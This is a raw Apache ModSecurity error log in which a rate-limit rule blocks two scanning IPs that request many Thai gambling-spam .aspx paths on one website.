[Tue Jan 27 20:15:19.504781 2026] [:error] [pid 48412:tid 48414] [client 217.182.195.225:60946] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa365%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXisV3bJMfAKlln88JH83wAAAUA"]
[Tue Jan 27 20:15:21.903344 2026] [:error] [pid 7453:tid 7497] [client 217.182.195.225:60954] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa369.aspx"] [unique_id "aXisWRfsyA2ws_ADquid9wAAAEg"]
[Tue Jan 27 20:15:24.455872 2026] [:error] [pid 48412:tid 48430] [client 217.182.195.225:60964] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa7.aspx"] [unique_id "aXisXHbJMfAKlln88JH84gAAAVA"]
[Tue Jan 27 20:15:26.994034 2026] [:error] [pid 48528:tid 48530] [client 217.182.195.225:53240] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa747%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXisXgOGRrquT9N7CZpzywAAAgA"]
[Tue Jan 27 20:15:29.428137 2026] [:error] [pid 48446:tid 48491] [client 217.182.195.225:53252] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa747%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXisYcDRSaZ8F8aaLxmalQAAAc0"]
[Tue Jan 27 20:15:31.915849 2026] [:error] [pid 7453:tid 7494] [client 217.182.195.225:53256] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa777%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXisYxfsyA2ws_ADquid_gAAAEU"]
[Tue Jan 27 20:15:34.527100 2026] [:error] [pid 39017:tid 39061] [client 217.182.195.225:53266] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa7777.aspx"] [unique_id "aXisZs553xt-F_10bG6h_gAAAw0"]
[Tue Jan 27 20:15:37.200646 2026] [:error] [pid 7561:tid 7580] [client 217.182.195.225:35282] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa789.aspx"] [unique_id "aXisabXGI6mgvHQqkXzY8QAAANA"]
[Tue Jan 27 20:15:39.692425 2026] [:error] [pid 48662:tid 48669] [client 217.182.195.225:35292] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufaauto.aspx"] [unique_id "aXisa-D8iESUP9uRiRPxOgAAAoE"]
[Tue Jan 27 20:15:42.264310 2026] [:error] [pid 38987:tid 39007] [client 217.182.195.225:35300] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXisbqTH0bU76Ifu_XcrzQAAABE"]
[Tue Jan 27 20:15:44.714173 2026] [:error] [pid 7561:tid 7579] [client 217.182.195.225:35312] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXiscLXGI6mgvHQqkXzY8wAAAM8"]
[Tue Jan 27 20:16:28.263233 2026] [:error] [pid 7561:tid 7568] [client 217.182.195.225:42684] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aXisnLXGI6mgvHQqkXzZFAAAAMQ"]
[Tue Jan 27 20:16:30.788826 2026] [:error] [pid 39016:tid 39036] [client 217.182.195.225:53110] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet1212%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXisnvB6_y9crthwy8qpyAAAAs8"]
[Tue Jan 27 20:16:33.394757 2026] [:error] [pid 48412:tid 48436] [client 217.182.195.225:53114] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet168.aspx"] [unique_id "aXisoXbJMfAKlln88JH9UAAAAVY"]
[Tue Jan 27 20:16:36.012231 2026] [:error] [pid 48446:tid 48489] [client 217.182.195.225:53130] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet1688%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXispMDRSaZ8F8aaLxma0AAAAcw"]
[Tue Jan 27 20:16:38.619125 2026] [:error] [pid 48528:tid 48542] [client 217.182.195.225:50652] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet365%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXispgOGRrquT9N7CZpz-wAAAgw"]
[Tue Jan 27 20:16:41.227087 2026] [:error] [pid 39017:tid 39053] [client 217.182.195.225:50658] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufaseven.aspx"] [unique_id "aXisqc553xt-F_10bG6iKAAAAwU"]
[Tue Jan 27 20:16:43.702732 2026] [:error] [pid 48446:tid 48480] [client 217.182.195.225:50670] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v9slot.aspx"] [unique_id "aXisq8DRSaZ8F8aaLxma1QAAAcM"]
[Tue Jan 27 20:16:46.329306 2026] [:error] [pid 48412:tid 48429] [client 217.182.195.225:50678] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot%20%E0%B8%97%E0%B8%B2%E0%B8%87%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXisrnbJMfAKlln88JH9aAAAAU8"]
[Tue Jan 27 20:16:48.936723 2026] [:error] [pid 48528:tid 48546] [client 217.182.195.225:45358] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188%20%E0%B8%9A%E0%B8%B2%E0%B8%97.aspx"] [unique_id "aXissAOGRrquT9N7CZp0CQAAAhA"]
[Tue Jan 27 20:16:51.407975 2026] [:error] [pid 7454:tid 7522] [client 217.182.195.225:45364] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20%E0%B8%9D%E0%B8%B2%E0%B8%81%201%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%2020.aspx"] [unique_id "aXiss5ltCoZEfMmfl8AcygAAAIY"]
[Tue Jan 27 20:16:54.022367 2026] [:error] [pid 39016:tid 39045] [client 217.182.195.225:45376] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/winner55%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXistvB6_y9crthwy8qp3wAAAtg"]
[Tue Jan 27 20:16:56.652382 2026] [:error] [pid 48446:tid 48500] [client 217.182.195.225:45392] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wow%20slot%20%E0%B8%A1%E0%B8%B2%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXisuMDRSaZ8F8aaLxma3QAAAdY"]
[Tue Jan 27 20:16:59.255779 2026] [:error] [pid 38987:tid 39014] [client 217.182.195.225:41452] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www.lotto.com%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXisu6TH0bU76Ifu_XcsIgAAABg"]
[Tue Jan 27 20:17:01.886780 2026] [:error] [pid 7561:tid 7578] [client 217.182.195.225:41460] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www.ufabet.com%20%E0%B8%A5%E0%B8%B4%E0%B9%89%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A24.aspx"] [unique_id "aXisvbXGI6mgvHQqkXzZHgAAAM4"]
[Tue Jan 27 20:17:04.511004 2026] [:error] [pid 48412:tid 48426] [client 217.182.195.225:41476] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aXiswHbJMfAKlln88JH9iwAAAUw"]
[Tue Jan 27 20:17:07.118870 2026] [:error] [pid 39016:tid 39034] [client 217.182.195.225:42694] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXisw_B6_y9crthwy8qp4wAAAs0"]
[Tue Jan 27 21:30:25.554138 2026] [:error] [pid 39016:tid 39031] [client 54.36.60.91:36382] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%88%E0%B8%B5%E0%B8%84%E0%B8%A5%E0%B8%B1%E0%B8%9A.aspx"] [unique_id "aXi98fB6_y9crthwy8qxlwAAAso"]
[Tue Jan 27 21:30:28.406163 2026] [:error] [pid 7561:tid 7576] [client 54.36.60.91:39496] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%8A%E0%B8%B8%E0%B8%9A%E0%B9%80%E0%B8%9B%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXi99LXGI6mgvHQqkXzgVwAAAMw"]
[Tue Jan 27 21:30:31.456292 2026] [:error] [pid 38987:tid 38990] [client 54.36.60.91:39510] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%8A%E0%B8%B8%E0%B8%A1%E0%B8%8A%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXi996TH0bU76Ifu_XczewAAAAA"]
[Tue Jan 27 21:30:34.467753 2026] [:error] [pid 48528:tid 48534] [client 54.36.60.91:49716] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%8B%E0%B8%B8%E0%B8%9B%E0%B9%80%E0%B8%9B%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95168.aspx"] [unique_id "aXi9-gOGRrquT9N7CZp57gAAAgQ"]
[Tue Jan 27 21:30:37.246822 2026] [:error] [pid 7454:tid 7521] [client 54.36.60.91:49726] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%8B%E0%B8%B8%E0%B8%9B%E0%B9%80%E0%B8%9B%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95777.aspx"] [unique_id "aXi9_ZltCoZEfMmfl8AjKQAAAIU"]
[Tue Jan 27 21:30:39.937985 2026] [:error] [pid 7561:tid 7582] [client 54.36.60.91:49742] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%94%E0%B8%B2%E0%B8%A7%E0%B8%99%E0%B9%8C%E0%B9%82%E0%B8%AB%E0%B8%A5%E0%B8%94joker.aspx"] [unique_id "aXi9_7XGI6mgvHQqkXzgYAAAANI"]
[Tue Jan 27 21:30:42.746581 2026] [:error] [pid 7454:tid 7516] [client 54.36.60.91:49744] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%94%E0%B8%B2%E0%B8%A7%E0%B8%99%E0%B9%8C%E0%B9%82%E0%B8%AB%E0%B8%A5%E0%B8%94slotxoth.aspx"] [unique_id "aXi-ApltCoZEfMmfl8AjLwAAAIA"]
[Tue Jan 27 21:30:45.336354 2026] [:error] [pid 48412:tid 48423] [client 54.36.60.91:33230] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXi-BXbJMfAKlln88JEN3QAAAUk"]
[Tue Jan 27 21:30:47.975709 2026] [:error] [pid 48446:tid 48484] [client 54.36.60.91:33232] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B8%A2%E0%B8%B4%E0%B8%87%E0%B8%9B%E0%B8%A5%E0%B8%B2.aspx"] [unique_id "aXi-B8DRSaZ8F8aaLxmlkwAAAcc"]
[Tue Jan 27 21:30:50.685911 2026] [:error] [pid 48412:tid 48416] [client 54.36.60.91:33234] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg.aspx"] [unique_id "aXi-CnbJMfAKlln88JEN6gAAAUI"]
[Tue Jan 27 21:30:53.375593 2026] [:error] [pid 48446:tid 48477] [client 54.36.60.91:33250] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXi-DcDRSaZ8F8aaLxmluAAAAcA"]
[Tue Jan 27 21:30:55.952937 2026] [:error] [pid 39016:tid 39023] [client 54.36.60.91:59780] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20pg%20%E0%B9%84%E0%B8%A1%E0%B9%88%20%E0%B8%AA%E0%B8%B0%E0%B8%94%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXi-D_B6_y9crthwy8qxqwAAAsI"]
[Tue Jan 27 21:30:58.838566 2026] [:error] [pid 48662:tid 48693] [client 54.36.60.91:59792] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050000.aspx"] [unique_id "aXi-EuD8iESUP9uRiRP3twAAApg"]
[Tue Jan 27 21:31:01.500382 2026] [:error] [pid 7561:tid 7578] [client 54.36.60.91:59796] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXi-FbXGI6mgvHQqkXzgcAAAAM4"]
[Tue Jan 27 21:31:04.247624 2026] [:error] [pid 48446:tid 48496] [client 54.36.60.91:39258] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%8A%E0%B9%87%E0%B8%81%E0%B8%8A%E0%B8%B5%E0%B9%88.aspx"] [unique_id "aXi-GMDRSaZ8F8aaLxmlvwAAAdI"]
[Tue Jan 27 21:31:06.853404 2026] [:error] [pid 48412:tid 48422] [client 54.36.60.91:39266] [client 54.36.60.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXi-GnbJMfAKlln88JEOGwAAAUg"]
